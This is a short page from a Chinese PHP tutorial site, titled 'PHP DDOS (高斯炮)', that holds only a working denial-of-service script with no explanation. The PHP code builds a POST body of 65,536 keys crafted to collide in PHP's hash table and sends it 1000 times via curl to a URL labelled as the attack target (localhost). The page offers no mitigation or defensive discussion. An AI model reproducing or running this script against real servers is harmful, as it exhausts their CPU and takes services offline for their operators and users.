首页  >  文章  >  php教程  >  PHP DDOS(高斯炮)

PHP DDOS(高斯炮)

PHP中文网
PHP中文网原创
2016-05-25 17:09:451256浏览

php代码

<?php
$size = pow(2, 16);
$data = "";
 
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
    $data .= $key."=0&";
}
 
$url = "http://localhost/gaoshi.php";// 攻击目标
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
 
for ($i = 0; $i < 1000; ++$i) {
    curl_exec($ch);
}
curl_close($ch);
?>
声明:
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn